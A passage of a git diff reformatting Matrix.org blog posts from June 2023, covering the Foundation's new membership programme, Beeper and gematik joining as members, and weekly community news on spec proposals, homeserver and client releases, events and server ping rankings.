[maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -324,6 +336,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|kittenface.studio|1162| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/06/2023-06-15-a-brand-new-website.md b/content/blog/2023/06/2023-06-15-a-brand-new-website.md index 61861f51c..311043c4e 100644 --- a/content/blog/2023/06/2023-06-15-a-brand-new-website.md +++ b/content/blog/2023/06/2023-06-15-a-brand-new-website.md @@ -20,6 +20,7 @@ That's right, after several months of studying, designing and implementing: we'r I also need to thank Jonas Platte not only for his technical expertise but also for his kind support and patience. Thanks to MTRNord as well for kickstarting the project, and to the various designers involved. + ![](/blog/img/new-morg.png) diff --git a/content/blog/2023/06/2023-06-20-membership-program.md b/content/blog/2023/06/2023-06-20-membership-program.md index 5deaf01e7..f280aeb5a 100644 --- a/content/blog/2023/06/2023-06-20-membership-program.md +++ b/content/blog/2023/06/2023-06-20-membership-program.md @@ -14,7 +14,7 @@ We shared back in December how we wanted to find a way for people and organisations to support Matrix in a more impactful manner. We wanted it to also enable the Foundation to be more autonomous and more powerful in growing the ecosystem. Well the day has come: the Foundation is now able to formally accept -members! +members! So what is a member of the Matrix.org Foundation? It's an organisation or individual who financially supports the Foundation by paying a yearly membership @@ -69,7 +69,6 @@ open standard that is supporting their healthcare, defence and public administration continues to benefit from innovative open source software development. - ## Stay unbiased & vendor neutral The Matrix manifesto hasn't changed. We still believe people should have full @@ -92,7 +91,6 @@ competitive advantage. As such it is a guardian of the neutrality of the protocol, making sure it will serve the general public's interests and be a solid base to build robust products on for commercial organisations. - ## Delivering from the get go The Matrix.org Foundation wants to take a more active stance in supporting the @@ -142,7 +140,7 @@ the relations of power in the Matrix ecosystem, to make it more independent of specific vendors. We believe this is a major next step to make Matrix thrive, and [welcome everyone to join us in our mission](https://matrix.org/membership). You can also check our Prospective Members presentation [here](https://drive.google.com/file/d/18YSlh5Uv2YMb6QaLi4fFu7Xv1uSWKAo7/view?usp=drive_link) -for more details. +for more details. **In short, become a member today!** diff --git a/content/blog/2023/06/2023-06-22-beeper-joins-the-foundation.md b/content/blog/2023/06/2023-06-22-beeper-joins-the-foundation.md index 08a0f3068..a7a7d73ca 100644 --- a/content/blog/2023/06/2023-06-22-beeper-joins-the-foundation.md +++ b/content/blog/2023/06/2023-06-22-beeper-joins-the-foundation.md @@ -15,7 +15,6 @@ the Foundation! Beeper is a universal chat app, built on top of Matrix. Beeper is strongly committing to support Matrix by becoming the first member in the Gold tier as well. - ## Matrix is a strategic choice Beeper allows you to connect accounts from up to 15 different chat platforms to @@ -41,7 +40,6 @@ to the content of the messages. It protects customers against passive leaks, and the most privacy conscious ones can even [self-host their bridges](https://github.com/beeper/bridge-manager) to get total control of the messages making it through. - ## Mission aligned Beyond the obvious business choice of relying on Matrix, Beeper and the @@ -55,7 +53,6 @@ The regulation change brought by the DMA will accelerate the adoption of interoperability across the board, bringing the tools to make it sustainable and reliable, which is a direct business enabler for Beeper. - ## Join us We once again welcome Beeper and congratulate them for being the first member to diff --git a/content/blog/2023/06/2023-06-23-twim.md b/content/blog/2023/06/2023-06-23-twim.md index beb039c44..fa25bb832 100644 --- a/content/blog/2023/06/2023-06-23-twim.md +++ b/content/blog/2023/06/2023-06-23-twim.md @@ -11,15 +11,14 @@ category = ["This Week in Matrix"] {{ youtube_player(video_id="XtLRMCfv90E") }} - ## Dept of *Status of Matrix* 🌡️ [Thib](https://matrix.to/#/@thib:ergaster.org) says > Not only have we [formally launched the Matrix.org Foundation membership programme](https://matrix.org/blog/2023/06/membership-program/)… we're happy to already welcome our first member: Beeper! -> +> > Wondering why it makes sense for Beeper to support the Foundation? In short: [we're mission-aligned, and it's a strategic business choice](https://matrix.org/blog/2023/06/beeper-joins-the-foundation/). -> +> > Thanks again to Beeper for all their contributions to the Matrix ecosystem, and we can't wait for more prospective members to show that they really mean to stand for open, decentralised secure communications 🚀 @@ -28,35 +27,40 @@ category = ["This Week in Matrix"] [TravisR](https://matrix.to/#/@travis:t2l.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC status -> +> > **New MSCs:** +> > * [MSC4031: Pre-generating invites and room invite codes](https://github.com/matrix-org/matrix-spec-proposals/pull/4031) -> +> > **MSCs in Final Comment Period:** +> > * [MSC3820: Room version 11](https://github.com/matrix-org/matrix-spec-proposals/pull/3820) (merge) -> +> > **Accepted MSCs:** +> > * [MSC4009: Expanding the Matrix ID grammar to enable E.164 IDs](https://github.com/matrix-org/matrix-spec-proposals/pull/4009) > * [MSC3989: Redact `origin` property on events](https://github.com/matrix-org/matrix-spec-proposals/pull/3989) > * [MSC3821: Update the redaction rules, again](https://github.com/matrix-org/matrix-spec-proposals/pull/3821) > * [MSC3077: Support for multi-stream VoIP](https://github.com/matrix-org/matrix-spec-proposals/pull/3077) -> +> > **Closed MSCs:** +> > * *No MSCs were closed/rejected this week.* -> +> > ## Spec updates +> > The SCT has largely been business as usual for the last week: progress is being made on the [MSCs we know about](https://github.com/orgs/matrix-org/projects/88/views/1), things are entering/completing FCP, etc. There has been some activity around [MSC3820: Room Version 11](https://github.com/matrix-org/matrix-spec-proposals/pull/3820) though, largely to ensure Linearized Matrix has a clean place to start building its own room version. It's also been about a year since [Room Version 10](https://spec.matrix.org/v1.7/rooms/v10/) was cut, making it a good time to push some cleanup work out into the world. -> +> > If you'd like to test room version 11, update your Synapse and join [#v11-opt2:t2l.io](https://matrix.to/#/#v11-opt2:t2l.io). It should look largely the same as any other room, but has changes that client developers should note around redactions. -> +> > For Linearized Matrix news, there's effort going into specifying the complete semantics and behaviour of Matrix's transport. The in-progress draft can be read [here](https://turt2live.github.io/ietf-mimi-linearized-matrix/draft-ralston-mimi-linearized-matrix.html) and should be published as an `02` in the coming days. `03` is expected to contain specific details around the MLS constraints. For clarity: the draft is an IETF Internet-Draft (I-D), aimed at a different audience than MSCs normally would. While the I-D makes little mention of it, existing Matrix servers participating in rooms with Linearized Matrix servers will continue to be full mesh, though Linearized Matrix servers will rely on a hub to send their events. DAG servers are *not* to rely on a hub. -> +> > ## Random MSC of the week -> +> > This week's random MSC is [MSC3160: Message timezone markup](https://github.com/matrix-org/matrix-spec-proposals/pull/3160)! If you've ever tried to say "does 15:00 CET/13:00 UTC/09:00 EST/06:00 PST work for you?", this is the MSC that fixes that problem. ## Dept of Servers 🏢 @@ -68,13 +72,13 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) says > This week we released 1.86.0. Here are a few of the highlights: -> +> > * Fix an error when having workers of different versions running. > * Experimental [MSC3861](https://github.com/matrix-org/matrix-spec-proposals/pull/3861) support: delegate auth to an OIDC provider > * Correctly clear caches when we delete a room > * Expose a metric reporting the database background update status. -> -> and much more. If you'd like to take a deep dive into the changes, you can find the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.86.0) and as always, if you encounter a bug feel free to report it at https://github.com/matrix-org/synapse/issues/new/choose. +> +> and much more. If you'd like to take a deep dive into the changes, you can find the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.86.0) and as always, if you encounter a bug feel free to report it at . ## Dept of Clients 📱 @@ -85,7 +89,7 @@ Hydrogen is a lightweight matrix client with legacy and mobile browser support [Midhun](https://matrix.to/#/@rmidhunsuresh:matrix.org) announces > We finally released [v0.4.0](https://github.com/vector-im/hydrogen-web/releases/tag/v0.4.0) this week with support for device verification and cross-signing. -> Try them out at hydrogen.element.io by enabling cross-signing under `Experimental Features` in the settings. +> Try them out at hydrogen.element.io by enabling cross-signing under `Experimental Features` in the settings. > This release also includes numerous bug fixes, [see the release notes for more info](https://github.com/vector-im/hydrogen-web/releases/tag/v0.4.0). ### Element X iOS ([website](https://github.com/vector-im/element-x-ios)) @@ -99,7 +103,7 @@ A total rewrite of Element-iOS using the Matrix Rust SDK underneath and targetin ### Element X Android ([website](https://github.com/vector-im/element-x-android)) -Android Matrix messenger application using the Matrix Rust Sdk and Jetpack Compose +Android Matrix messenger application using the Matrix Rust Sdk and Jetpack Compose [benoit](https://matrix.to/#/@benoit.marty:matrix.org) says @@ -114,7 +118,7 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) reports > * The web team is still hard at work uncovering and fixing bugs relating to stuck notifications. -> - Along with fixing bugs we’re also about to start testing our updates to the notification settings pages and expect these to be in labs in the next release +> * Along with fixing bugs we’re also about to start testing our updates to the notification settings pages and expect these to be in labs in the next release > * Our team is also making progress against our accessibility goals. Our current focus is improving the colour contrast throughout the app by updating our colour palette. > * Along with the above we’re also working on integrating the new OIDC pieces as this new auth system will bring many improvements. @@ -128,14 +132,14 @@ Matrix SDK written in pure Dart. > Back again with another breaking change this week! :p > Bump to v0.21.0, the main features/changes from last time (0.19.0) include: -> +> > * Key verification using QR codes! > * No more dynamics! ([we switched to Object?](https://stackoverflow.com/questions/31257735/what-is-the-difference-between-dynamic-and-object-in-dart)) and also lots of cleanup > * better handling of `lastEvent`s for a room > * some call state fixes > * Lots of other minor fixes. See [commits](https://github.com/famedly/matrix-dart-sdk/-/compare/v0.19.0...v0.21.0?from_project_id=12767161&straight=false) -> -> +> +> > Until next time :D ## Dept of Events and Talks 🗣️ @@ -145,40 +149,41 @@ Matrix SDK written in pure Dart. [Christian Paul (jaller94)](https://matrix.to/#/@jaller94:matrix.org) announces > New German episode: -> Meet Simon Dürsch, who is a founder of https://clup.life and passionate about collaboration within associations, clubs and similar communities. Out of his own needs to bring together people on different chat platforms, he's built a service to create bridged community rooms. -> +> Meet Simon Dürsch, who is a founder of and passionate about collaboration within associations, clubs and similar communities. Out of his own needs to bring together people on different chat platforms, he's built a service to create bridged community rooms. +> > As an active follower of Matrix news, chat bridging (e.g. from and to WhatsApp) is probably no news to you, however, the interview shows that Matrix still has a lot of untapped potential to enable communication of currently fragmented communities. -> +> > Episode link: > > Fediverse post: -> +> > For English interviews of Matrix community members, check out some of our previous episodes! ### Matrix @ FrOSCon - + [HarHarLinks](https://matrix.to/#/@kim:sosnowkadub.de) announces > On August 05-06 the annual **Fr**ee and **O**pen **S**ource **Con**ference (short FrOSCon) will take place at the German University of applied Sciences Bonn Rhine Sieg. > There is great interest in Matrix in Germany and this year in particular one of FrOSCon's focus aspects is "Open Source in public administration" which seems a great fit with Matrix as well. > Plus, of course it's always fun to meet the community! > A small team of volunteers from the community has gotten together to organize both a **Devroom** and a **Booth/Stand**. Please find last week's announcement for more detail. -> -> ### We need your help! -> +> +> ### We need your help +> > You can help us out by: +> > * submitting a topic for a talk or workshop you want to give (🇩🇪 or 🇬🇧) - we need at least a title and duration until July 2 23:59 CEST! > * helping out at the stand > * helping to manage the devroom! E.g. if you are versed with recording and broadcasting tech, that would help us make the content accessible beyond the in-person devroom -> -> To reach out, find us at (or by email oleg@fiksel.info) +> +> To reach out, find us at (or by email ) ## Dept of Guides 🧭 [Thib](https://matrix.to/#/@thib:ergaster.org) says > dgrig posted a nice wrap up of what happens when your Matrix server goes boom, and you just put a new one back online without restoring from a backup. -> +> > ## Dept of Ping @@ -186,6 +191,7 @@ Matrix SDK written in pure Dart. Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -202,6 +208,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|075-141-169-120.res.spectrum.com:8446|5396.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -217,7 +224,6 @@ Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium |9|aguiarvieira.pt|348.5| |10|lassegh.dk|523.5| - ## That's all I know See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! diff --git a/content/blog/2023/06/2023-06-29-gematik-joins-the-foundation.md b/content/blog/2023/06/2023-06-29-gematik-joins-the-foundation.md index d63d80fa6..e7a4e430a 100644 --- a/content/blog/2023/06/2023-06-29-gematik-joins-the-foundation.md +++ b/content/blog/2023/06/2023-06-29-gematik-joins-the-foundation.md @@ -19,7 +19,6 @@ We are now delighted to let the world know that they are doubling down on sovereignty and sustainability: gematik is the first organisation of the public sector to join the Matrix.org Foundation as a Silver member. - ## Collaboration in the public sector Our friends at the [FSFE](https://fsfe.org) have been calling for software used @@ -45,7 +44,6 @@ stack it builds TI-Messenger on. By supporting the Matrix.org Foundation, gematik contributes to the sustainability of the protocol powering the communications of the German healthcare system… but not exclusively. - ## Sharing costs across public services, and with the private sector Matrix is an open standard, which means not only everyone can use it: when @@ -68,7 +66,6 @@ The Foundation plays a critical technical _and social_ role in this system: it centralises and curates contributions to the protocol so it remains unbiased, coherent, and efficient. - ## This is just a beginning We’re extremely happy to welcome the first public sector organisation in the diff --git a/content/blog/2023/06/2023-06-30-twim.md b/content/blog/2023/06/2023-06-30-twim.md index 86b417c75..00a7e4231 100644 --- a/content/blog/2023/06/2023-06-30-twim.md +++ b/content/blog/2023/06/2023-06-30-twim.md @@ -15,15 +15,14 @@ image = "https://matrix.org/blog/img/matrix-logo.png" {{ youtube_player(video_id="hm3ka0R3eUw") }} - ## Dept of *Status of Matrix* 🌡️ [Thib](https://matrix.to/#/@thib:ergaster.org) announces > You might have seen the news already, but the Matrix.org Foundation is pleased to welcome the first public sector organisation as part of its membership: Gematik joined us as a Silver member! -> +> > If you're an organisation of the public sector it might not be obvious why spending money on an open source product is important: you will probably be interested in [why it makes sense for gematik to contribute, and how it benefits the public sector in general](https://matrix.org/blog/2023/06/gematik-joins-the-foundation/). -> +> > Whether you're an individual, a business, a non-profit, a public sector organisation, [you can join the Matrix.org Foundation as a member](https://matrix.org/membership) to support us in our mission and help us steer Matrix in the right direction! @@ -32,37 +31,41 @@ image = "https://matrix.org/blog/img/matrix-logo.png" [Andrew Morgan (anoa) [GMT-6]](https://matrix.to/#/@andrewm:element.io) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC4032: Asset Collections](https://github.com/matrix-org/matrix-spec-proposals/pull/4032) -> +> > **MSCs in Final Comment Period:** +> > * [MSC4025: Local user erasure requests](https://github.com/matrix-org/matrix-spec-proposals/pull/4025) (merge) -> +> > **Accepted MSCs:** +> > * [MSC3820: Room version 11](https://github.com/matrix-org/matrix-spec-proposals/pull/3820) -> +> > **Closed MSCs:** +> > * *No MSCs were closed/rejected this week.* -> +> > ## Spec Updates -> +> > Room version 11 has been accepted! A gentle reminder for Matrix client and homeserver implementations to update and incorporate the new changes. The full list can be found [in the MSC itself](https://github.com/matrix-org/matrix-spec-proposals/blob/main/proposals/3820-rooms-v11.md) (mainly changes to redaction semantics and related fields). -> +> > While this means that room version 11 is now considered stable, it's not recommended that homeserver implementations set their default room version for newly created rooms to 11 yet. We recommend waiting a few months for client and other homeserver implementations to gain support first. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3907: Mute Policy Recommendation](https://github.com/matrix-org/matrix-spec-proposals/pull/3907)! -> +> > Matrix has a concept of shared [moderation policy lists](https://spec.matrix.org/v1.7/client-server-api/#moderation-policy-lists) - where you can create a room containing moderation actions that followers can apply to their own rooms, such as banning a particular known bad actor. -> +> > This MSC proposes to expand the list of possible types of recommendations with that of muting a user (removing a user's ability to send messages in a room). This could be especially useful if you moderate many, many rooms and have automation to apply moderation actions based off of a policy list room. -> +> > If such a policy change sounds useful to you, why not give the MSC a review and leave some feedback! ### Matrix Spec v1.7 for Dash and Zeal @@ -70,11 +73,11 @@ image = "https://matrix.org/blog/img/matrix-logo.png" [Christian Paul (jaller94)](https://matrix.to/#/@jaller94:matrix.org) reports > I've updated the Dash/Zeal Docset which you can use to read the Matrix Spec offline. -> +> > If you use Dash and installed it through the application's settings, an update should be available now. If you use Zeal, check out the update procedure on gitlab.com. -> +> > Project on Gitlab.com: -> +> > Note, this is not an official release distribution of the Matrix Spec. Enjoy at your own risk of this breaking or not getting updated. ## Dept of Servers 🏢 @@ -85,15 +88,15 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) says -> This week we released 1.87.0rc1. Please note that this will be the last release of Synapse that is compatible with Python3.7 +> This week we released 1.87.0rc1. Please note that this will be the last release of Synapse that is compatible with Python3.7 > and earlier. Now on to the highlights: -> +> > * Add spam checker module API for logins > * Fix forgotten rooms missing from initial sync after rejoining them > * Remove experimental [MSC2716](https://github.com/matrix-org/matrix-spec-proposals/pull/2716) implementation to incrementally import history into existing rooms. > * Fix a bug introduced in 1.57.0 where the wrong table would be locked on updating database rows when using SQLite as the database backend -> -> and much more. If you'd like to take a deep dive into the changes, you can find the release notes [here](https://github.com/matrix-org/synapse/releases) and as always, if you encounter a bug feel free to report it at https://github.com/matrix-org/synapse/issues/new/choose. +> +> and much more. If you'd like to take a deep dive into the changes, you can find the release notes [here](https://github.com/matrix-org/synapse/releases) and as always, if you encounter a bug feel free to report it at . ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -102,17 +105,17 @@ Second generation Matrix homeserver [Till](https://matrix.to/#/@s7evink:matrix.org) says > It's been quite a while since we last posted in TWIM. During that time we have been hard at work on Dendrite. -> +> > This week we released [v0.13.0](https://github.com/matrix-org/dendrite/releases/tag/v0.13.0). Here are a few of the highlights: -> -> - Initial support for the highly experimental [MSC4014: Pseudonymous Identities](https://github.com/matrix-org/matrix-spec-proposals/blob/kegan/pseudo-ids/proposals/4014-pseudonymous-identities.md) -> - Huge refactoring of Dendrite and gomatrixserverlib to pave the way for easier experimentation -> - A potential state reset when joining the same room multiple times in short sequence has been fixed -> - Several "membership" (e.g /kick, /ban) endpoints are using less heavy database queries to check if the user is allowed to perform this action -> - /3pid endpoints are now available on /v3 instead of the /unstable prefix -> - Support for connecting to appservices listening on unix sockets has been added (contributed by [cyberb](https://github.com/cyberb)) -> - Admin APIs for token authenticated registration have been added (contributed by [santhoshivan23](https://github.com/santhoshivan23)) -> +> +> * Initial support for the highly experimental [MSC4014: Pseudonymous Identities](https://github.com/matrix-org/matrix-spec-proposals/blob/kegan/pseudo-ids/proposals/4014-pseudonymous-identities.md) +> * Huge refactoring of Dendrite and gomatrixserverlib to pave the way for easier experimentation +> * A potential state reset when joining the same room multiple times in short sequence has been fixed +> * Several "membership" (e.g /kick, /ban) endpoints are using less heavy database queries to check if the user is allowed to perform this action +> * /3pid endpoints are now available on /v3 instead of the /unstable prefix +> * Support for connecting to appservices listening on unix sockets has been added (contributed by [cyberb](https://github.com/cyberb)) +> * Admin APIs for token authenticated registration have been added (contributed by [santhoshivan23](https://github.com/santhoshivan23)) +> > ...and a whole lot more. Check out the release notes for the full set of changes! > As always, feel free to stop by [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) to join in on the discussion and if you encounter a bug make sure to report it [here](https://github.com/matrix-org/dendrite/issues/new/choose). @@ -131,7 +134,7 @@ A total rewrite of Element-iOS using the Matrix Rust SDK underneath and targetin [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) announces > This week was an absolute rollercoaster for ElementX and, at the end of it, we’re happy to report this huge list of features and improvements: -> +> > * [Reaction highlighting](https://github.com/vector-im/element-x-ios/pull/1145) > * [Swipe to reply](https://github.com/vector-im/element-x-ios/pull/1148) > * [Render emote notifications like in the timeline](https://github.com/vector-im/element-x-ios/pull/1152) @@ -147,12 +150,12 @@ A total rewrite of Element-iOS using the Matrix Rust SDK underneath and targetin > * Improved timeline item actions [1](https://github.com/vector-im/element-x-ios/pull/1184) and [2](https://github.com/vector-im/element-x-ios/pull/1202) > * [Better room list last message rendering](https://github.com/vector-im/element-x-ios/pull/1208) > * [Media upload cancellation](https://github.com/vector-im/element-x-ios/pull/1210) -> +> > and as always an absolute ton of bug fixes and performance improvements that would’ve put the first list to shame ### Element X Android ([website](https://github.com/vector-im/element-x-android)) -Android Matrix messenger application using the Matrix Rust Sdk and Jetpack Compose +Android Matrix messenger application using the Matrix Rust Sdk and Jetpack Compose [benoit](https://matrix.to/#/@benoit.marty:matrix.org) reports @@ -186,26 +189,26 @@ Secure and independent communication for Android, connected via Matrix. Come tal [unonde](https://matrix.to/#/@unonde:matrix.org) says > [`@sctlib/rtc`](https://gitlab.com/sctlib/rtc) now has support for Matrix `/sendToDevice` signaling. -> +> > It's a web-component that tries to offer a user interface for peers to connect via WebRTC -> +> > There are different "manual" signaling methods (such as copy/pasting the WebRTC connection data by hand, from one peer to the other), and the Matrix API `/sendToDevice` endpoint is the new addition. -> +> > It works with authenticated matrix users, as well as with guest user/device. -> +> > All this is a prototype and experimentation with client side browser based apps (with js/html/css/web-components/npm-packages), using [@sctlib/matrix-room-element](https://gitlab.com/sctlib/matrix-room-element) and its new [`api.js.sendToDevice`](https://gitlab.com/sctlib/matrix-room-element/-/blob/main/src/api.js#L651-683) method. -> +> > One of the thing I enjoy with this project, is that it is web-component based; meaning the new HTML custom DOM element, has a "clear API" through it's attribute api, methods, events (just like an `` or `